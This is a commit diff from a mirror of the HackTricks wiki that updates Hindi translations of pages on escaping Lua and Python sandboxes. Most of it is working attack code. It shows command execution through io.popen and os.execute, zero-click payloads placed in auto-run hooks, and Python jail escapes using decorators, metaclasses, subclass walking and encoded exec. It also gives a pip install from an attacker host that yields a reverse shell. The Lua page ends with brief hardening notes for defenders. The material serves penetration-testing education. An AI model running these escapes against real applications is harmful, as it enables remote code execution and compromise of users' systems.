mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
Translator
parent
f04daa3503
commit
81ca5a19c2
@ -1,18 +1,18 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
# Lua sandboxes को बायपास करें (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ ऐप्लिकेशन में embedded Lua "sandboxes" को enumerate करने और उनसे बाहर निकलने के व्यावहारिक तरीकों को इकट्ठा करता है (विशेषकर game clients, plugins, या in-app scripting engines)। कई engines सीमित Lua environment expose करते हैं, लेकिन शक्तिशाली globals को reachable छोड़ देते हैं जो arbitrary command execution या यहां तक कि native memory corruption की अनुमति देते हैं जब bytecode loaders exposed हों।
|
||||
यह पृष्ठ उन व्यावहारिक तकनीकों को एकत्रित करता है जो applications में embedded Lua "sandboxes" की सूची बनाने और उनसे बाहर निकलने के लिए उपयोगी होती हैं (विशेषकर game clients, plugins, या in-app scripting engines)। कई engines एक restricted Lua environment एक्सपोज़ करते हैं, लेकिन शक्तिशाली globals को पहुँच में छोड़ देते हैं जो arbitrary command execution या यहाँ तक कि native memory corruption को सक्षम कर सकते हैं जब bytecode loaders एक्सपोज़ होते हैं।
|
||||
|
||||
मुख्य विचार:
|
||||
- VM को एक अज्ञात environment मानें: _G को enumerate करें और पता लगाएँ कौन से dangerous primitives reachable हैं।
|
||||
- जब stdout/print blocked हो, किसी भी in-VM UI/IPC चैनल का output sink के रूप में दुरुपयोग करके परिणाम देखें।
|
||||
- अगर io/os exposed है, तो अक्सर आपके पास direct command execution होता है (io.popen, os.execute)।
|
||||
- अगर load/loadstring/loadfile exposed हैं, तो crafted Lua bytecode चलाकर कुछ संस्करणों में memory safety को subvert किया जा सकता है (≤5.1 verifiers bypassable हैं; 5.2 ने verifier हटा दिया), जिससे advanced exploitation संभव होता है।
|
||||
Key ideas:
|
||||
- VM को एक अज्ञात environment की तरह समझें: _G को enumerate करें और पता लगाएं कि कौन से dangerous primitives पहुँच योग्य हैं।
|
||||
- जब stdout/print ब्लॉक हों, किसी भी in-VM UI/IPC चैनल को output sink के रूप में दुरुपयोग करके परिणामों का अवलोकन करें।
|
||||
- यदि io/os एक्सपोज़ हैं, तो अक्सर आपके पास direct command execution होता है (io.popen, os.execute)।
|
||||
- यदि load/loadstring/loadfile एक्सपोज़ हैं, तो crafted Lua bytecode को execute करने से कुछ versions में memory safety subvert की जा सकती है (≤5.1 verifiers bypassable हैं; 5.2 में verifier हटाया गया था), जिससे advanced exploitation संभव होता है।
|
||||
|
||||
## Sandboxed environment को enumerate करें
|
||||
## Sandboxed environment को सूचीबद्ध करें
|
||||
|
||||
- Global environment को dump करके reachable tables/functions का inventory बनाएं:
|
||||
- पहुँच योग्य tables/functions का inventory करने के लिए global environment को dump करें:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- यदि print() उपलब्ध नहीं है, तो in-VM channels का पुन: उपयोग करें। MMO housing script VM के उदाहरण में जहाँ chat output केवल sound call के बाद ही काम करता है; निम्नलिखित एक विश्वसनीय output function बनाता है:
|
||||
- अगर print() उपलब्ध नहीं है, तो in-VM channels का पुन: उपयोग करें। उदाहरण एक MMO housing script VM का है जहाँ chat output केवल sound call के बाद काम करता है; नीचे एक भरोसेमंद output function बनाया गया है:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
अपने लक्ष्य के लिए इस पैटर्न को सामान्य करें: कोई भी textbox, toast, logger, या UI callback जो strings स्वीकार करता है, reconnaissance के लिए stdout की तरह कार्य कर सकता है।
|
||||
अपने लक्ष्य के लिए इस पैटर्न को सामान्य बनाएं: कोई भी textbox, toast, logger, या UI callback जो strings स्वीकार करता है, reconnaissance के लिए stdout के रूप में कार्य कर सकता है।
|
||||
|
||||
## Direct command execution if io/os is exposed
|
||||
## Direct command execution यदि io/os एक्सपोज़ हैं
|
||||
|
||||
यदि sandbox अभी भी मानक लाइब्रेरी io या os को एक्सपोज़ करता है, तो आपके पास संभवतः immediate command execution है:
|
||||
यदि sandbox अभी भी मानक लाइब्रेरीज़ io या os को एक्सपोज़ करता है, तो संभवतः आपके पास तत्काल command execution है:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -52,30 +52,29 @@ io.popen("calc.exe")
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
नोट्स:
|
||||
- निष्पादन client process के भीतर होता है; कई anti-cheat/antidebug परतें जो external debuggers को ब्लॉक करती हैं, in-VM process creation को रोक नहीं पाएंगी।
|
||||
- यह भी जांचें: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), और debug library (can raise privileges inside the VM).
|
||||
- निष्पादन client process के अंदर होता है; कई anti-cheat/antidebug लेयर्स जो external debuggers को ब्लॉक करती हैं, वे in-VM process creation को रोक नहीं पाएंगी।
|
||||
- इसके अलावा जाँचें: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
|
||||
यदि host application clients को scripts पुश करता है और VM auto-run hooks (e.g., OnInit/OnLoad/OnEnter) एक्सपोज़ करता है, तो जैसे ही script लोड हो, drive-by compromise के लिए अपना payload वहां रखें:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
कोई भी समकक्ष callback (OnLoad, OnEnter, आदि) इस तकनीक को सामान्यीकृत करता है जब scripts स्वतः client पर भेजे और निष्पादित किए जाते हैं।
|
||||
कोई भी समान callback (OnLoad, OnEnter, आदि) इस तकनीक को सामान्यीकृत कर देता है जब scripts क्लाइंट पर स्वचालित रूप से भेजे और execute किए जाते हैं।
|
||||
|
||||
## Recon के दौरान खोजने के लिए खतरनाक primitives
|
||||
## Recon के दौरान खोजने के लिए Dangerous primitives
|
||||
|
||||
_G enumeration के दौरान, विशेष रूप से निम्न देखें:
|
||||
_G enumeration के दौरान, खासकर इन पर देखें:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: source या bytecode को निष्पादित करता है; untrusted bytecode को लोड करने का समर्थन करता है.
|
||||
- package, package.loadlib, require: dynamic library loading और module surface.
|
||||
- load, loadstring, loadfile, dofile: source या bytecode को execute करता है; untrusted bytecode को लोड करने का समर्थन करता है।
|
||||
- package, package.loadlib, require: डायनेमिक लाइब्रेरी लोडिंग और मॉड्यूल इंटरफ़ेस।
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load native code को सीधे call करने के लिए.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load — native code को सीधे call करने के लिए।
|
||||
|
||||
यदि पहुँच संभव हो तो न्यूनतम उपयोग के उदाहरण:
|
||||
Minimal usage examples (if reachable):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
@ -90,20 +89,20 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## वैकल्पिक escalation: Lua bytecode loaders का दुरुपयोग
|
||||
## वैकल्पिक उन्नयन: Lua bytecode loaders का दुरुपयोग
|
||||
|
||||
जब load/loadstring/loadfile पहुँच में हों पर io/os प्रतिबंधित हों, तो crafted Lua bytecode का निष्पादन memory disclosure और corruption primitives तक पहुंचा सकता है। मुख्य तथ्य:
|
||||
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
|
||||
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
|
||||
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
जब load/loadstring/loadfile पहुँच योग्य हों लेकिन io/os प्रतिबंधित हों, तब निर्मित Lua bytecode का निष्पादन memory disclosure और corruption primitives को जन्म दे सकता है। मुख्य तथ्य:
|
||||
- Lua ≤ 5.1 में एक bytecode verifier शिप किया गया था जिसमें ज्ञात bypasses मौजूद हैं।
|
||||
- Lua 5.2 ने verifier को पूरी तरह हटा दिया (official stance: applications should just reject precompiled chunks), जिससे attack surface बढ़ता है अगर bytecode loading निषिद्ध नहीं किया गया हो।
|
||||
- सामान्य रूप से: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), फिर pivot कर arbitrary read/write या native code execution पर।
|
||||
|
||||
यह रास्ता engine/version-specific है और RE की आवश्यकता होती है। गहराई से जानने के लिए references देखें — exploitation primitives और games में मौजूद example gadgetry के लिए।
|
||||
यह रास्ता engine/संस्करण-विशिष्ट है और RE की आवश्यकता होती है। गहरी जानकारी, exploitation primitives, और गेम्स में उदाहरण gadgetry के लिए references देखें।
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
## पहचान और हार्डनिंग नोट्स (रक्षकों के लिए)
|
||||
|
||||
- Server side: user scripts को reject या rewrite करें; allowlist safe APIs लागू करें; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi को strip या bind-empty कर दें।
|
||||
- Client side: Lua को एक minimal _ENV के साथ चलाएँ, bytecode loading को निषिद्ध करें, एक strict bytecode verifier या signature checks पुनः लागू करें, और client process से process creation को ब्लॉक करें।
|
||||
- Telemetry: script load के तुरंत बाद gameclient → child process creation पर अलर्ट करें; इसे UI/chat/script events के साथ correlate करें।
|
||||
- Server side: user scripts को reject या rewrite करें; सुरक्षित APIs को allowlist करें; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi को strip या bind-empty करें।
|
||||
- Client side: Lua को minimal _ENV के साथ चलाएं, bytecode loading को निषिद्ध करें, एक strict bytecode verifier या signature checks पुनः लागू करें, और client process से process creation को ब्लॉक करें।
|
||||
- Telemetry: gameclient → child process creation पर अलर्ट करें जो script load के तुरंत बाद हो; इसे UI/chat/script events के साथ correlate करें।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
ये कुछ ट्रिक्स हैं जो python sandbox protections को bypass करके arbitrary commands execute करने के लिए हैं।
|
||||
ये कुछ तरीके हैं जो python sandbox protections को bypass करके arbitrary commands निष्पादित करने की अनुमति देते हैं।
|
||||
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
सबसे पहली बात जो आपको जाननी चाहिए वह यह है कि क्या आप किसी पहले से imported library के साथ सीधे execute code कर सकते हैं, या क्या आप इनमें से कोई भी libraries import कर सकते हैं:
|
||||
सबसे पहले आपको यह जानना चाहिए कि क्या आप किसी पहले से import की गई लाइब्रेरी के साथ सीधे कोड execute कर सकते हैं, या क्या आप इनमें से किसी लाइब्रेरी को import कर सकते हैं:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -40,11 +40,11 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
ध्यान रखें कि _**open**_ और _**read**_ functions python sandbox के अंदर **read files** करने और **write some code** लिखने के लिये उपयोगी हो सकते हैं जिन्हें आप **execute** करके sandbox को **bypass** कर सकते हैं।
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
> [!CAUTION] > **Python2 input()** फ़ंक्शन program के crash होने से पहले python code को execute करने की अनुमति देता है।
|
||||
|
||||
Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python पहले **load libraries from the current directory first** करने की कोशिश करता है (निम्न कमांड यह बताएगा कि python कहाँ से modules load कर रहा है): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -53,7 +53,7 @@ Python try to **load libraries from the current directory first** (the following
|
||||
### Default packages
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
|
||||
ध्यान दें कि pickle से आप python env को सिस्टम में इंस्टॉल किए गए libraries को **import arbitrary libraries** करने के लिये मजबूर कर सकते हैं।\
|
||||
For example, the following pickle, when loaded, is going to import the pip library to use it:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -71,28 +71,28 @@ pickle कैसे काम करता है, इसके बारे म
|
||||
|
||||
### Pip package
|
||||
|
||||
ट्रिक साझा करने वाले: **@isHaacK**
|
||||
ट्रिक साझा की गई: **@isHaacK**
|
||||
|
||||
यदि आपके पास `pip` या `pip.main()` तक पहुँच है, तो आप कोई भी पैकेज इंस्टॉल करके और कॉल करके एक reverse shell प्राप्त कर सकते हैं:
|
||||
यदि आपके पास `pip` या `pip.main()` तक पहुँच है, तो आप कोई भी पैकेज इंस्टॉल कर सकते हैं और कॉल करके एक reverse shell प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **अनपैक करना, `setup.py` बदलना, और reverse shell के लिए अपना IP डालना**:
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> यह पैकेज `Reverse` कहा जाता है। हालांकि, इसे विशेष रूप से इस तरह बनाया गया है कि जब आप reverse shell से बाहर निकलते हैं तो बाकी installation असफल हो जाएगी, इसलिए आप जब छोड़कर जाएँ तो सर्वर पर कोई अतिरिक्त python package installed नहीं छोड़ेंगे।
|
||||
> यह पैकेज `Reverse` नामक है। हालांकि, इसे खास तौर पर इस तरह तैयार किया गया है कि जब आप reverse shell से बाहर निकलेंगे तो इंस्टॉलेशन का बाकी हिस्सा फेल हो जाएगा, इसलिए जब आप चले जाते हैं तो आप **सर्वर पर कोई अतिरिक्त python package नहीं छोड़ेंगे**।
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि exec बहु-पंक्ति strings और ";" की अनुमति देता है, लेकिन eval नहीं देता है (walrus operator देखें)
|
||||
> ध्यान रखें कि exec multiline strings और ";" की अनुमति देता है, लेकिन eval नहीं देता (walrus operator चेक करें)
|
||||
|
||||
यदि कुछ characters निषिद्ध हैं तो आप **hex/octal/B64** representation का उपयोग करके इस restriction को **bypass** कर सकते हैं:
|
||||
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### अन्य लाइब्रेरी जो python कोड को eval करने की अनुमति देती हैं
|
||||
### अन्य लाइब्रेरी जो eval python code की अनुमति देती हैं
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -127,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
PDF जनरेटरों में एक वास्तविक-विश्व sandboxed evaluator escape भी देखें:
|
||||
PDF generators में होने वाले एक वास्तविक-विश्व sandboxed evaluator escape को भी देखें:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). यह rl_safe_eval का दुरुपयोग करके evaluated attributes (उदाहरण के लिए, font color) से function.__globals__ और os.system तक पहुँचता है और रेंडरिंग को स्थिर बनाए रखने के लिए एक वैध मान लौटाता है।
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). यह rl_safe_eval का दुरुपयोग करके evaluated attributes (उदाहरण के लिए, font color) से function.__globals__ और os.system तक पहुँचता है और रेंडरिंग को स्थिर रखने के लिए एक वैध मान लौटाता है।
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## ऑपरेटर्स और छोटी तरकीबें
|
||||
## ऑपरेटर और छोटी तरकीबें
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## एन्कोडिंग्स के माध्यम से सुरक्षा बायपास करना (UTF-7)
|
||||
## एन्कोडिंग के माध्यम से सुरक्षा बायपास करना (UTF-7)
|
||||
|
||||
इस [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) में UFT-7 का उपयोग एक apparent sandbox के अंदर arbitrary python code को लोड और execute करने के लिए किया गया है:
|
||||
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) में UFT-7 का उपयोग एक प्रतीत होने वाले sandbox के अंदर मनमाना python code लोड और निष्पादित करने के लिए किया गया है:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -157,11 +157,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
इसे अन्य एन्कोडिंग्स का उपयोग करके भी बाइपास करना संभव है, जैसे `raw_unicode_escape` और `unicode_escape`।
|
||||
इसे अन्य encodings का उपयोग करके भी bypass किया जा सकता है, जैसे `raw_unicode_escape` और `unicode_escape`।
|
||||
|
||||
## कॉल्स के बिना Python निष्पादन
|
||||
## Python execution बिना calls
|
||||
|
||||
यदि आप किसी python jail के अंदर हैं जो आपको **doesn't allow you to make calls**, तब भी कुछ तरीके हैं जिनसे आप **execute arbitrary functions, code** और **commands** कर सकते हैं।
|
||||
यदि आप किसी python jail के अंदर हैं जो **आपको calls करने की अनुमति नहीं देता**, तो फिर भी कुछ तरीके हैं जिनसे आप **arbitrary functions, code** और **commands** को execute कर सकते हैं।
|
||||
|
||||
### RCE [decorators](https://docs.python.org/3/glossary.html#term-decorator) के साथ
|
||||
```python
|
||||
@ -185,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
|
||||
|
||||
यदि आप **declare a class** और उस class का **create an object** कर सकते हैं, तो आप ऐसे **write/overwrite different methods** लिख/ओवरराइट कर सकते हैं जिन्हें बिना उन्हें सीधे कॉल किए हुए भी **triggered** किया जा सकता है।
|
||||
यदि आप **declare a class** कर सकें और उस क्लास का **create an object** बना सकें, तो आप विभिन्न **write/overwrite different methods** लिख/ओवरराइट कर सकते हैं जिन्हें सीधे कॉल किए बिना **triggered** किया जा सकता है।
|
||||
|
||||
#### RCE with custom classes
|
||||
#### RCE कस्टम क्लासेस के साथ
|
||||
|
||||
आप कुछ **class methods** को संशोधित कर सकते हैं (_by overwriting existing class methods or creating a new class_) ताकि उन्हें **execute arbitrary code** करने के लिए बनाया जा सके जब वे **triggered** हों, बिना उन्हें सीधे कॉल किए।
|
||||
आप कुछ class methods को modify कर सकते हैं (मौजूदा class methods को overwrite करके या एक नया class बनाकर) ताकि वे बिना सीधे कॉल किए भी trigger होने पर arbitrary code execute कर सकें।
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -243,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) के साथ ऑब्जेक्ट बनाना
|
||||
|
||||
मुख्य बात जो metaclasses हमें करने की अनुमति देती है वह यह है कि हम target class को metaclass बनाकर एक नया class बनाकर सीधे रूप से **make an instance of a class, without calling the constructor** कर सकते हैं।
|
||||
metaclasses हमें जो मुख्य बात करने देती हैं वह यह है कि हम लक्षित class को metaclass के रूप में सेट करके एक नया class बनाकर सीधे **make an instance of a class, without calling the constructor** कर सकते हैं।
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -260,7 +260,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### exceptions के साथ objects बनाना
|
||||
|
||||
जब एक **exception trigger होता है** तो **Exception** का एक object **बन जाता है** बिना आपको constructor को सीधे कॉल करने की ज़रूरत पड़े (एक trick [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
जब एक **exception is triggered** होता है तो **Exception** का एक object **created** हो जाता है, बिना कि आपको constructor को सीधे कॉल करना पड़े (यह तकनीक [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -302,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### builtins help और license के साथ फ़ाइल पढ़ें
|
||||
### builtins help & लाइसेंस वाली फ़ाइल पढ़ें
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -316,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं तो आप libraries import कर सकते हैं (ध्यान दें कि आप यहाँ अन्य string representation भी उपयोग कर सकते हैं जो पिछले सेक्शन में दिखाए गए हैं):
|
||||
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं तो आप लाइब्रेरीज़ import कर सकते हैं (ध्यान दें कि आप यहाँ अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं जैसा कि पिछले सेक्शन में दिखाया गया है):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### बिल्टिन्स नहीं
|
||||
### No Builtins
|
||||
|
||||
जब आपके पास `__builtins__` नहीं होता है तो आप कुछ भी import नहीं कर पाएँगे और न ही फाइलें पढ़ या लिख पाएँगे क्योंकि **सभी वैश्विक फ़ंक्शंस** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**.\
|
||||
हालाँकि, **by default python imports a lot of modules in memory**। ये मॉड्यूल निर्दोष लग सकते हैं, लेकिन इनमें से कुछ अपने अंदर **also importing dangerous** कार्यक्षमताएँ रख सकते हैं जिन्हें एक्सेस करके यहाँ तक कि **arbitrary code execution** भी प्राप्त किया जा सकता है।
|
||||
जब आपके पास `__builtins__` नहीं होता है, तो आप कुछ भी import नहीं कर पाएँगे और फ़ाइलें पढ़ने या लिखने तक में सक्षम नहीं होंगे क्योंकि **सभी ग्लोबल फ़ंक्शन** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**.\
|
||||
हालाँकि, **डिफ़ॉल्ट रूप से python मेमोरी में कई मॉड्यूल import कर देता है**। ये मॉड्यूल निर्दोष दिख सकते हैं, लेकिन इनमें से कुछ अंदर से **खतरनाक** फ़ंक्शनैलिटीज़ भी import करते हैं जिन्हें एक्सेस करके यहाँ तक कि **arbitrary code execution** हासिल किया जा सकता है।
|
||||
|
||||
निम्न उदाहरणों में आप देख सकते हैं कि कैसे इन लोड किए गए मॉड्यूल्स के कुछ हिस्सों का **abuse** करके उनके अंदर मौजूद "**benign**" मॉड्यूलों की **dangerous** **functionalities** तक **access** किया जा सकता है।
|
||||
निम्न उदाहरणों में आप देख सकते हैं कि कैसे इन लोड हुए "**निर्दोष**" मॉड्यूलों में से कुछ का **दुरुपयोग** करके उनके अंदर मौजूद **खतरनाक** **फ़ंक्शनैलिटीज़** को **एक्सेस** किया जा सकता है।
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -368,7 +368,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**नीचे एक बड़ा फ़ंक्शन दिया गया है**](#recursive-search-of-builtins-globals) जो दर्जनों/**सैकड़ों** **जगहों** को खोजने के लिए है जहाँ आप **builtins** पा सकते हैं।
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) दहाइयों/**सैकड़ों** **जगहों** को खोजने के लिए जहाँ आप **builtins** पा सकते हैं।
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -386,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals and locals
|
||||
|
||||
यह जानने का एक अच्छा तरीका है कि आप किन चीज़ों तक पहुँच सकते हैं: **`globals`** और **`locals`** की जाँच।
|
||||
यह जानने के लिए कि आप किन चीज़ों तक पहुँच सकते हैं, **`globals`** और **`locals`** की जाँच करना एक अच्छा तरीका है।
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -410,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 